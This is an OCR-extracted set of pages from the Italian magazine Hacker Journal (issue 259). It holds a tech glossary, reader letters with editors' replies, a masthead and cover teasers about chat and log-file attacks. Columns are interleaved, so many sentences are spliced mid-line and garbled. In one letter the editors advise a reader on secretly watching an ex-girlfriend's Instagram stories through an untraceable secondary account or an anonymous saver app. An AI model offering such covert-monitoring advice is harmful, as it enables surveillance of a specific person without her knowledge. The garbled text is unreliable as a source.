Si tratta di un termine creato hacker che hanno stessa fascia di popolazione.
da Neal Stephenson in Snow compromesso l’infrastruttura
Crash (1992), libro di informatica. Ora però mi chiedo INVESTIRE NEL METAVERSO
fantascienza cyberpunk, a chi possa mai servire Un mio caro amico ha investito
in cui vi è una specie di realtà
conoscere i dati medici di una quasi 1.000 euro per acquistare
virtuale condivisa tramite
Internet, e si viene persona o se si tratta solo un piccolo appartamento
rappresentati in tre di bravate commesse da un nel Metaverso. Secondo lui si
dimensioni attraverso gruppo di aspiranti pirati. tratta di un investimento che
il proprio avatar. Riccardo in breve tempo potrà rivelarsi
molto profittevole. A me tutto
WALLET
I continui attacchi alle questo ricorda Second Life,
In italiano portafoglio
elettronico, è un programma infrastrutture che gestiscono con un po’ di tecnologia in più
o servizio Web che permette i dati sanitari costituiscono un Carlo
agli utenti di memorizzare problema non solo in Italia ma
e controllare in maniera in tutto il mondo. Infatti, anche In realtà Second Life nasce
centralizzata le proprie se nella maggior parte dei casi come un gioco, una
criptovalute come bitcoin,
non sono presenti dati come quelli simulazione avanzata di vita
ethereum e tutte le altre.
di carte di credito o conti bancari, virtuale social e poco di più.
SEED l’accesso alle informazioni Il Metaverso immaginato
Codice di tredici parole che sanitarie permette di portare da Mark Zuckerberg, che ha
viene fornito per l’attivazione a termine veri e propri furti di addirittura fatto cambiare il
di un wallet Electrum e che
identità e clonazione di polizze nome della sua società, è invece
deve essere conservato
assicurative. Inoltre, i registri un’iniziativa commerciale,
per recuperare la password.
elettronici riguardanti i minori una sorta di mondo parallelo
NFC risultano particolarmente preziosi in cui le persone che non sono
Acronimo di Near Field per i criminali informatici che fisicamente vicine possono
Communication, è una possono così clonare le loro interagire a tutti i livelli, a partire
tecnologia di trasmissione
identità senza grossi rischi da quello business. Indossando
che fornisce una connettività
senza fili bidirezionale a visto che normalmente non visori di realtà virtuale come
distanza (contactless) a corto posseggono conti bancari. il Meta Quest (il successore
raggio (fino a 10 cm). Secondo un rapporto pubblicato di Oculus) e Project Cambria,
dalla società di ricerca AllClear ID, le persone potranno ritrovarsi

 60
STOR IE IN A N O N IM O
Mi piacerebbe seguire le storie di Instagram che pubblica una
mia ex fidanzata senza che però lei lo sappia. Non esiste una
qualche app o anche un sito Internet che lo renda possibile?
Giancarlo

La soluzione più semplice a nostro parere rimane quella di crearti


un account secondario su Instagram, che la tua amica non può ricondurre
a te, e usare quello.
Se proprio vuoi provare una soluzione alternativa ti consigliamo
di scaricare un’app come Salva Storie dal Play Store di Android.
Si tratta di un’app che permette di salvare intere storie di Instagram
sul proprio smartphone in maniera completamente anonima. L’app
è gratuita, ma la rimozione dei banner pubblicitari richiede l’acquisto
della versione a pagamento, che costa 2,39 euro.

della password le possibilità di


Recuperare la password di un wallet è
successo sono ridotte al lumicino.
praticamente impossibile, a meno di non In alternativa dovresti almeno
disporre di una batteria di computer conoscere il seed, cioè l’elenco
di tredici parole che viene fornito
quantistici e di un software di forza bruta al momento della creazione del
wallet e che andrebbe sempre
in ambienti interamente all’epoca avevo acquistato per accuratamente conservato.
ricostruiti virtualmente con i pochi euro dei bitcoin che oggi
propri colleghi o amici e potranno dovrebbero valere una fortuna. SMARTWATCH NFC
fare esperienza di una realtà Solo che naturalmente non Il mio nuovo smartwatch Fitbit
mista, in cui elementi digitali si posseggo e non mi ricordo la mi permette di pagare
sovrappongono al mondo fisico. password. L’unica nota positiva direttamente dall’orologio
L’economia del Metaverso sarà è che non c’è un limite ai caricando una carta di credito.
basata su una criptovaluta tentativi di login, voi cosa mi Ma non c’è il rischio che
unificata, come il bitcoin, e sulla consigliate, potrei usare un qualcuno mi intercetti durante
compravendita di NFT. Per software di forza bruta ? la transazione?
questo investire oggi cifre anche Pierpaolo Lucia
relativamente basse potrebbe
rivelarsi un ottimo affare. Purtroppo le password di È più probabile che ti clonino
questi wallet, anche di quelli la carta di credito piuttosto
PASSWORD PER WALLET meno recenti, sono sempre che ti sniffino i dati da uno
Ho trovato all’interno di un molto complesse e difficili da smartwatch che usa una
vecchio disco fisso, di cui mi identificare. Certo, potresti connessione NFC. Vengono usate
ero dimenticato l’esistenza, sempre provare con un software infatti le più recenti funzionalità
un wallet Electrum del 2015. di forza bruta o a dizionario, ma di autenticazione, crittografia
Mi sembra di ricordare che non conoscendo tipo e lunghezza e sicurezza per proteggere i dati.

61 
Il prossimo nu mero febbra io
5
sa ra‘ in ed icola da l 2
Ti telecomando
il telecomando getti
o degli og
Ecco come clonare un
case
più diffusi nelle nostre

Alla scoperta
d i N T FS
m ogni giorno...
Usiamo questo filesyste
ero?
ma lo conosciamo davv

Diventa un
Open Crash
Le multinazionali segugio deichella Rete
e gli strumenti
sfruttano il codice Impara a usare le tecn e le informazioni
libero senza dare tt
di OSINT per scovare tu o target
niente in cambio. disponibili sul tu
Ma c’è chi non
ci sta più!

Events Production: Giulia Sprea (Mind S.r.l.) - giulia@sprea.it Distributore per l’Italia: Press-Di Distribuzione stampa e multimedia s.r.l. - 20090 Segrate
Distributore per l’Estero : SO.DI.P S.p.A. Via Bettola, 18 - 20092 Cinisello Balsamo (MI)
SERVIZIO QUALITÀ EDICOLANTI E DL Tel. +390266030400 - Fax +390266030269 - sies@sodip.it - www.sodip.it
Sonia Lancellotti, Virgilio Cofano: Tel. 02 92432295 - distribuzione@sprea.it
351 5582739 Stampa: Arti Grafiche Boccia S.p.A.- Via Tiberio Claudio Felice, 7- 84131 Salerno

ABBONAMENTI E ARRETRATI Copyright : Sprea S.p.A.


Abbonamenti: si sottoscrivono on-line su www.sprea.it/hackerjournal
abbonamenti@sprea.it Informativa su diritti e privacy
Tel. 02 87168197 (lun-ven / 9:00-13:00 e 14:00-18:00) La Sprea S.p.A. titolare esclusiva della testata Hacker Journal e di tutti i diritti di pubblica-
Il prezzo dell’abbonamento è calcolato in modo etico perché sia un servizio zione e di diffusione in Italia. L’utilizzo da parte di terzi di testi, fotografie e disegni, anche
utile e non in concorrenza sleale con la distribuzione in edicola. parziale, è vietato. L’Editore si dichiara pienamente disponibile a valutare - e se del caso
Mensile - prezzo di copertina 3,90 € Arretrati: si acquistano on-line su www.sprea.it/arretrati regolare - le eventuali spettanze di terzi per la pubblicazione di immagini di cui non sia
www.hackerjournal.it - redazione@hackerjournal.it abbonamenti@sprea.it stato eventualmente possibile reperire la fonte. Informativa e Consenso in materia di trat-
tamento dei dati personali (Codice Privacy d.lgs. 196/03). Nel vigore del D.Lgs 196/03 il Ti-
La Divisione Informatica di Sprea edita anche: Tel. 02 87168197 (lun-ven / 9:00-13:00 e 14:00-18:00)
tolare del trattamento dei dati personali, ex art. 28 D.Lgs. 196/03, è Sprea S.p.A. (di seguito
WIN MAGAZINE ✦ LINUX PRO ✦ UBUNTU FACILE 329 3922420
anche “Sprea”), con sede legale in Via Torino, 51 Cernusco sul Naviglio (MI). La stessa La in-
MAC MAGAZINE✦ APP JOURNAL ✦IL MIO COMPUTER IDEA forma che i Suoi dati, eventualmente da Lei trasmessi alla Sprea, verranno raccolti, trattati
Business Unit Manager: Massimiliano Zagaglia FOREIGN RIGHTS e conservati nel rispetto del decreto legislativo ora enunciato anche per attività connesse
Gabriella Re: Tel . 02 92432262 - gabriellare@sprea.it all’azienda. La avvisiamo, inoltre, che i Suoi dati potranno essere comunicati e/o trattati
Impaginazione: Andrea Carpani
(sempre nel rispetto della legge), anche all’estero, da società e/o persone che prestano
Hanno collaborato: Antonio Dini, Francesco Pensabene, Maurizio Russo, Vincenzo servizi in favore della Sprea. In ogni momento Lei potrà chiedere la modifica, la correzione
Digilio, Servizi editoriali: Backdoor di Gianmarco Bruni SERVIZI CENTRALIZZATI
Art director: Silvia Taietti e/o la cancellazione dei Suoi dati ovvero esercitare tutti i diritti previsti dagli artt. 7 e ss. del
Cover: Luca Patrian D.Lgs. 196/03 mediante comunicazione scritta alla Sprea e/o direttamente al personale
Grafici: Alessandro Bisquola, Tamara Bombelli, Nicole Bombelli, Nicolò Digiuni,
Sprea S.p.A. Incaricato preposto al trattamento dei dati. La lettura della presente informativa deve
Marcella Gavinelli, Luca Patrian
Sede Legale: Via Torino, 51 20063 Cernusco Sul Naviglio (Mi) - Italia intendersi quale presa visione dell’Informativa ex art. 13 D.Lgs. 196/03 e l’invio dei Suoi
Coordinamento: Federica Berzioli, Chiara Civilla, Laura Galimberti, Gabriella Re, dati personali alla Sprea varrà quale consenso espresso al trattamento dei dati personali
PI 12770820152- Iscrizione camera Commercio 00746350149 Tiziana Rosato, Milena Sacchi, Roberta Tempesta, Silvia Vitali
Per informazioni, potete contattarci allo 02 924321 secondo quanto sopra specificato. L’invio di materiale (testi, fotografie, disegni, etc.) alla
Amministrazione: Irene Citino, Erika Colombo (responsabile), Désirée Conti, Sprea S.p.A. deve intendersi quale espressa autorizzazione alla loro libera utilizzazione da
CDA: Luca Sprea (Presidente), Alessandro Agnoli (Amministratore Delegato), Sara Palestra - amministrazione@sprea.it parte di Sprea S.p.A. Per qualsiasi fine e a titolo gratuito, e comunque, a titolo di esempio,
Maverick Greissing (Consigliere Delegato) Ufficio Legale: Francesca Sigismondi alla pubblicazione gratuita su qualsiasi supporto cartaceo e non, su qualsiasi pubblica-
Hacker Journal, registrata al tribunale di Milano il 27/10/2003 con il numero 601. zione (anche non della Sprea S.p.A.), in qualsiasi canale di vendita e Paese del mondo.
ADVERTISING, SPECIAL PROJECTS & EVENTS ISSN 1594-5774
Marketing: Marco Fregonara - Tel. 347 2240482 - marcofregonara@sprea.it
Segreteria: Emanuela Mapelli - Tel. 02 92432244 - emanuelamapelli@sprea.it Direttore responsabile: Luca Sprea Il materiale inviato alla redazione non potrà essere restituito.
IN EDICOLA
DAL 14 GENNAIO

Scansiona il QR Code
edi67 / italian / ghost

Acquistala su www.sprea.it/scienze
versione digitale disponibile dall’11 gennaio
PU BBLICITÀ
100% INDIPENDENTE! NO

T utto quello
ch e g l i a l t r i
n o n o s a n o d i r t i !

IN QUES T O N U M E R O
VULNERABILITÀ | Bucare la chat senza SQL
Il sistema di messaggistica Rocket.Chat ha alcune noSQL injection
che permettono di bypassare il login ottenendo i privilegi di root

PENETRATION TEST | Attacco ai log!


Dopo XSS e DoS, ecco a voi un attacco RCE in salsa log usando un attacco
di tipo Local File Inclusion e la nostra palestra per pentester in erba

DATI PERSONALI | Google maestro di Facebook


Mark Zuckerberg ha imparato come estrarre e monetizzare i dati dalle
persone grazie al lavoro fatto venti anni fa da Larry Page e Sergei Brin

LETTERE | Storie in anonimo


Le domande dei lettori, le risposte degli esperti della redazione.
Anche online sul nostro sito: https://hackerjournal.it

NUMERO 259 • MENSILE • 3.90 €

P.I. 29-01-2022 - Febbraio

Prezzi esteri: AUT € 7,50 - BE € 7,00 - LUX € 6,50 - F+PM € 9,50 FR + € 10,50 PM - ES € 6,00 - PT (Cont.) € 5,50 - CH Tedesca CHF 8,3 - CH Ticino CHF 7,3 - OLANDA € 7,50

You might also like